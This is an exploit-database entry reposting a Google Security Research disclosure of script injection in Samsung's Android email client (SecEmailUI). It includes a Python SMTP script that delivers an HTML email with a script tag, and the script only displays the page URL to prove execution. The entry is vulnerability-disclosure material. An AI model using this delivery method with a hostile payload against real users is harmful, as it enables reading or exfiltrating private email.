Samsung SecEmailUI Script Injection Exploit

2015-10-28T00:00:00
ID 1337DAY-ID-24437
Type zdt
Reporter Google Security Research
Modified 2015-10-28T00:00:00

Description

Exploit for Android platform in category remote exploits

                                        
                                            # Source: https://code.google.com/p/google-security-research/issues/detail?id=494
 
'''
The default Samsung email client's email viewer and composer (implemented in SecEmailUI.apk) doesn't sanitize HTML email content for scripts before rendering the data inside a WebView. This allows an attacker to execute arbitrary JavaScript when a user views a HTML email which contains HTML script tags or other events.
 
At the very least the JavaScript could exploit the attack surface provided within the WebView control. It might also be possible to access local file content or emails depending on the full configuration of the WebView, although this hasn't been tested fully. 
 
This can also be exploited locally with the com.samsung.android.email.intent.action.QUICK_REPLY_BACKGROUND intent which will include attacker controlled HTML in the sending email. If the final message was viewed it would be possible for the script to extract the original message from the Document object and potentially post that information to another server.
 
Attached is a simple SMTP client in Python to send an HTML message with script contents to the device. The "me", "you", "me_password" and "smtp_server" variables need to be changed to ones appropriate for the sending email account and the receiving account on the phone. When the resulting email is viewed it should display the URL of the page which is of the form email://M/N where M is the email account ID and N is the message ID which proves that the script code executed.
'''
 
#!/usr/bin/env python
 
import smtplib
 
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
 
# Change the details here appropriate to your configuration
me = "[email protected]"
me_password = "THIS IS NOT REAL"
you = "[email protected]"
smtp_server = "smtp.gmail.com"
 
msg = MIMEMultipart('alternative')
msg['Subject'] = "Hello There!"
msg['From'] = me
msg['To'] = you
 
text = "Hello There!"
html = """\
<html>
  <head></head>
  <body>
   <p>
       <script>try { document.write(document.location); } catch(e) { document.write(e.message); }</script>
    </p>
  </body>
</html>
"""
 
part1 = MIMEText(text, 'plain')
part2 = MIMEText(html, 'html')
 
msg.attach(part1)
msg.attach(part2)
 
s = smtplib.SMTP_SSL(smtp_server)
s.login(me, me_password)
s.sendmail(me, you, msg.as_string())
s.quit()

#  0day.today [2018-02-20]  #